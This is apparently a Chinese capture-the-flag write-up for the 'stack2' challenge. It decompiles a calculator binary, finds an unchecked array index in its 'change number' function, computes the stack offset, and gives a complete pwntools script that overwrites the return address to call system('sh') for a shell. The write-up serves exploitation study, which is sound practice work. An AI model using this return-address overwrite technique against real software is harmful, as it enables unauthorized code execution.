程序的功能主要有四个,在输入前面两个初始化的变量值之后,就可以看到后面的几个功能。
//IDA 静态分析得出的代码:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
unsigned int v5; // [esp+18h] [ebp-90h]
unsigned int v6; // [esp+1Ch] [ebp-8Ch]
int v7; // [esp+20h] [ebp-88h]
unsigned int j; // [esp+24h] [ebp-84h]
int v9; // [esp+28h] [ebp-80h]
unsigned int i; // [esp+2Ch] [ebp-7Ch]
unsigned int k; // [esp+30h] [ebp-78h]
unsigned int l; // [esp+34h] [ebp-74h]
char v13[100]; // [esp+38h] [ebp-70h]
unsigned int v14; // [esp+9Ch] [ebp-Ch]
v14 = __readgsdword(0x14u);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
v9 = 0;
puts("***********************************************************");
puts("* An easy calc *");
puts("*Give me your numbers and I will return to you an average *");
puts("*(0 <= x < 256) *");
puts("***********************************************************");
puts("How many numbers you have:");
__isoc99_scanf("%d", &v5);
puts("Give me your numbers");
for ( i = 0; i < v5 && (signed int)i <= 99; ++i )
{
__isoc99_scanf("%d", &v7);
v13[i] = v7;
}
for ( j = v5; ; printf("average is %.2lf\n", (double)((long double)v9 / (double)j)) )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
puts("1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit");
__isoc99_scanf("%d", &v6);
if ( v6 != 2 )
break;
puts("Give me your number");
__isoc99_scanf("%d", &v7);
if ( j <= 0x63 )
{
v3 = j++;
v13[v3] = v7;
}
}
if ( v6 > 2 )
break;
if ( v6 != 1 )
return 0;
puts("id\t\tnumber");
for ( k = 0; k < j; ++k )
printf("%d\t\t%d\n", k, v13[k]);
}
if ( v6 != 3 )
break;
puts("which number to change:");
__isoc99_scanf("%d", &v5);
puts("new number:");
__isoc99_scanf("%d", &v7);
v13[v5] = v7;
}
if ( v6 != 4 )
break;
v9 = 0;
for ( l = 0; l < j; ++l )
v9 += v13[l];
}
return 0;
}
可以看出程序的基本流程都在主函数之内,其功能选择主要是由多重循环达到,其中,我们主要注意下面这一部分,也就是第三个功能:
可以发现在对v13赋值时,程序并没有进行边界检查,这就给了我们栈溢出的机会,我们可以利用栈溢出构造ROP,达到劫持程序的效果。
在查找字符串的时候发现了一个后门函数:
但遗憾的是,这个后门函数不能使用,看wp说的是出题人的错,布置完题目之后才发现环境之中没用bash,但也可以通过程序之中的system函数构造ROP获得sh,所以题目没有更改。
也就是说,这个后门函数是一个坑。
后门函数无法使用,但是后门函数里面有sh两个字符,加上程序之中拥有system函数,可以构造获取sh的ROP,但是执行的时候,由于v13距离栈底位置的不确定,需要动态调试找出v13的偏移量。
改变第v13[1]未输入值之前
输入值255之后栈
可以看到栈内数据的变化(FFCFF610,栈的地址不是固定的,调试的时候地址会发生变化)
栈窗口内右键选择jump到esp,可以看到ebp的起始地址(第一个,FFCFF698)
v13的偏移量就可以计算出来:0xFFCFF698-0xFFCFF610-4 = 0x84(最后-4是保存ebp也用来四个字节)
通过函数可以找到system地址。
system的参数sh可以用原有的字符串后面,将其地址计算一下就行。
from pwn import *
p = process('./stack2')
p.recv()
p.sendline('1')
p.recv()
p.sendline('1')
number = [0x84, 0x85, 0x86, 0x87]
# no bash 注释掉的是后门的利用,在本地环境可以获得bash
#hack = [0x9b, 0x85, 0x04, 0x08]
#
#for i in range(4):
# p.recv()
# p.sendline('3')
# p.recv()
# p.sendline(str(number[i]))
# p.recv()
# p.sendline(str(hack[i]))
#p.recv()
#p.sendline('5')
#p.interactive()
sh_addr = [0x87, 0x89, 0x04, 0x08]
sys_addr = [0x50, 0x84, 0x04, 0x08]
offset = 0x84
def write_addr(addr, value):
p.recv()
p.sendline('3')
p.recv()
p.sendline(str(addr))
p.recv()
p.sendline(str(value))
for i in range(4):
write_addr(offset+i, sys_addr[i])
for i in range(4):
write_addr(offset+i+8, sh_addr[i])
p.recv()
p.sendline('5')
p.interactive()